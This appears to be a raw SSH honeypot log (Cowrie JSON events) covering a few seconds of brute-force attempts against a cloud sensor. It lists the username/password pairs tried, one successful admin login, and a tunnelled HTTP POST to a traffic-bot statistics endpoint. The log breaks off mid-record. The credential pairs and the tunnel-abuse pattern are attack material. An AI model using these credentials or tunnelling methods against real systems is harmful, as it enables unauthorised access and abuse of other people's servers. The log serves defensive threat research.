{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":52674,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d9a581ec93a","protocol":"ssh","message":"New connection: 77.94.47.83:52674 (10.17.0.5:22) [session: 6d9a581ec93a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:34.759856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:34.766249Z","src_ip":"77.94.47.83","session":"6d9a581ec93a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:34.878561Z","src_ip":"77.94.47.83","session":"6d9a581ec93a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"070990","message":"login attempt [root/070990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:35.214625Z","src_ip":"77.94.47.83","session":"6d9a581ec93a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:36.327834Z","src_ip":"77.94.47.83","session":"6d9a581ec93a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55978,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed15f6c47867","protocol":"ssh","message":"New connection: 91.92.40.36:55978 (159.203.135.109:22) [session: ed15f6c47867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:39.213049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:39.670011Z","src_ip":"91.92.40.36","session":"ed15f6c47867","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:39.674962Z","src_ip":"91.92.40.36","session":"ed15f6c47867","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":39736,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc83a3ef37e4","protocol":"ssh","message":"New connection: 27.71.230.31:39736 (10.17.0.5:22) [session: bc83a3ef37e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:39.778614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:39.784722Z","src_ip":"27.71.230.31","session":"bc83a3ef37e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:41.060399Z","src_ip":"27.71.230.31","session":"bc83a3ef37e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"nanopi","message":"login attempt [pi/nanopi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:42.227158Z","src_ip":"91.92.40.36","session":"922b14c8a1f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"4321","message":"login attempt [docker/4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:42.351571Z","src_ip":"91.92.40.36","session":"ed15f6c47867","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@Pass","message":"login attempt [root/admin@Pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:43.431334Z","src_ip":"27.71.230.31","session":"bc83a3ef37e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:44.135983Z","src_ip":"91.92.40.36","session":"ed15f6c47867","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:44.708557Z","src_ip":"27.71.230.31","session":"bc83a3ef37e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.1","message":"Connection lost after 13.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:44.983424Z","src_ip":"91.92.40.36","session":"922b14c8a1f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56180,"dst_ip":"159.203.135.109","dst_port":22,"session":"39173f634e58","protocol":"ssh","message":"New connection: 91.92.40.36:56180 (159.203.135.109:22) [session: 39173f634e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:49.016983Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:49.021544Z","src_ip":"91.92.40.36","session":"39173f634e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:51.027978Z","src_ip":"91.92.40.36","session":"39173f634e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56236,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3f00565d118","protocol":"ssh","message":"New connection: 91.92.40.36:56236 (159.203.135.109:22) [session: f3f00565d118]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:52.550268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:53.825562Z","src_ip":"91.92.40.36","session":"f3f00565d118","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:53.829007Z","src_ip":"91.92.40.36","session":"f3f00565d118","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":56237,"dst_ip":"10.17.0.5","dst_port":22,"session":"6e757937235e","protocol":"ssh","message":"New connection: 123.27.168.40:56237 (10.17.0.5:22) [session: 6e757937235e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:57.235884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:57.240945Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:57.600760Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33104,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7d7911869bc","protocol":"ssh","message":"New connection: 91.92.40.36:33104 (159.203.135.109:22) [session: e7d7911869bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:58.780555Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:58.802323Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:59.252635Z","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:59.340720Z","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:59.632197Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=S2QmMWZARCQjMj5%2BTiUmaw%3D%3DCEBg5uXYGrfe10c9XtC0%2B02PedCnKqab8Pn6EGCSwvc0QbH3A7Bp0FtRYQ5qp6WIz%2F4GuNvotIYkDe42FbbJYQFz6Z81RuRfxqthLP78OB9ev8DVkSxaXHazv6rtr8ug7yFTlHs5c%2Bac9aCk%2F4aX%2FqcVsjRp8d%2FIQdxdmlhhbm0%2FYI6AUjCMf3QJ8aGSPhxYt%2FvxjlJKpxgsytutEtno%2FRsv1aNeicEqoJDKEn6BjhLeDdXlClQ6ZE%2Fz1CaoV7UY%2F90VSIWlhTLiuJPrQKMUEGT6lkG8%2Bgp8oJiSQg8FyTNzq6dZZYOKQCLJX7Uv3CNTIFjlR6VFOliu97Kb2sYDh44YUuf7XX1lQMKv70WXxnpIuicY8OU9qc0qLdCQy7Zm4mLfaZ0oeUsmAldSBvBlGH7H%2FKEU4oTzEd5HD8apYgCIalskyK2bcxgoWVG19M5yedr6swsChi8LMXOlrvq03ksGJNfsg8ZXR9CCLFrhQdhinN8K1T%2F5zoN8xT2Vn%2FgyZKpqtxgZd4nvSlSKXXrqpw0gC7cOPkxibWVOFFJUWnEGt4X9SWoAoDnSEUoprpQfdUjArA%2FJFT5nvqIOGruBNeZhcbGQW40itRCt%2FbqbcB5ux3jxABHLPWzarYlbKL3aAS6%2B%2BIONS0Eh9Xv2UijSbNQjqMULK8AH5aRwG%2BBLXA6ibAbO96d3YaQ%2BgPfOBYD3zVVStZcOy%2BFArIjrqqwvIj7iJUA6hObeOrTbqPUGtJj5zFIn3twz8zPt9CWSpivbu4cQhcjWTQr9V%2BrIRctJb%2F%2FZzZI0fz6nzSxNuIXJyFMfzvRFIQsXx9lZK4%2BbR74z%2BzoGVd%2F8CY6IEofKuY1x2ZqyEKUbjs3hVPJDsmnzDOtURN6sw4lFYH%2FHIthSeCCBFMbKQyVNubhn9HDl%2B5D11vDQnFxxeEIoHzMQzNbErPKPHBgHSrGg9WofJRTzFmbpV7DnLDIQzcSitHKErl1U0zK2UgnowKLQtxrBYdP1nImHGM%2Bb6WJZKp0OCRPuZ%2BYgtPmL43Tg6e3F1x0G47xGAO0SqeGZ%2BgDOmGvg9kkmjEgy4m4JXbguWOZBft6PYPrH'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1186\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.75 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=S2QmMWZARCQjMj5%2BTiUmaw%3D%3DCEBg5uXYGrfe10c9XtC0%2B02PedCnKqab8Pn6EGCSwvc0QbH3A7Bp0FtRYQ5qp6WIz%2F4GuNvotIYkDe42FbbJYQFz6Z81RuRfxqthLP78OB9ev8DVkSxaXHazv6rtr8ug7yFTlHs5c%2Bac9aCk%2F4aX%2FqcVsjRp8d%2FIQdxdmlhhbm0%2FYI6AUjCMf3QJ8aGSPhxYt%2FvxjlJKpxgsytutEtno%2FRsv1aNeicEqoJDKEn6BjhLeDdXlClQ6ZE%2Fz1CaoV7UY%2F90VSIWlhTLiuJPrQKMUEGT6lkG8%2Bgp8oJiSQg8FyTNzq6dZZYOKQCLJX7Uv3CNTIFjlR6VFOliu97Kb2sYDh44YUuf7XX1lQMKv70WXxnpIuicY8OU9qc0qLdCQy7Zm4mLfaZ0oeUsmAldSBvBlGH7H%2FKEU4oTzEd5HD8apYgCIalskyK2bcxgoWVG19M5yedr6swsChi8LMXOlrvq03ksGJNfsg8ZXR9CCLFrhQdhinN8K1T%2F5zoN8xT2Vn%2FgyZKpqtxgZd4nvSlSKXXrqpw0gC7cOPkxibWVOFFJUWnEGt4X9SWoAoDnSEUoprpQfdUjArA%2FJFT5nvqIOGruBNeZhcbGQW40itRCt%2FbqbcB5ux3jxABHLPWzarYlbKL3aAS6%2B%2BIONS0Eh9Xv2UijSbNQjqMULK8AH5aRwG%2BBLXA6ibAbO96d3YaQ%2BgPfOBYD3zVVStZcOy%2BFArIjrqqwvIj7iJUA6hObeOrTbqPUGtJj5zFIn3twz8zPt9CWSpivbu4cQhcjWTQr9V%2BrIRctJb%2F%2FZzZI0fz6nzSxNuIXJyFMfzvRFIQsXx9lZK4%2BbR74z%2BzoGVd%2F8CY6IEofKuY1x2ZqyEKUbjs3hVPJDsmnzDOtURN6sw4lFYH%2FHIthSeCCBFMbKQyVNubhn9HDl%2B5D11vDQnFxxeEIoHzMQzNbErPKPHBgHSrGg9WofJRTzFmbpV7DnLDIQzcSitHKErl1U0zK2UgnowKLQtxrBYdP1nImHGM%2Bb6WJZKp0OCRPuZ%2BYgtPmL43Tg6e3F1x0G47xGAO0SqeGZ%2BgDOmGvg9kkmjEgy4m4JXbguWOZBft6PYPrH'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:59.635328Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:23:59.882816Z","src_ip":"123.27.168.40","session":"6e757937235e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\\\,\\x1a\\xb1)\"\\xea%\\xc3aB\\xfe\\x19\\xa4\\x9b\\xcd\\x02\\x1e0\\x0c\\x1b\\xd9\\xff\\x82\\x93{Q[Wq\\xe7\\x90 p\\x04\\xeb$\\\\\\x85\\xa2\\xe91\\tv\\xc6\\xf4s\\xde\\'\\x9d6\\x05>\\x94\\xea?\\xd6_9gW\\x03\\xd2S^\\x00 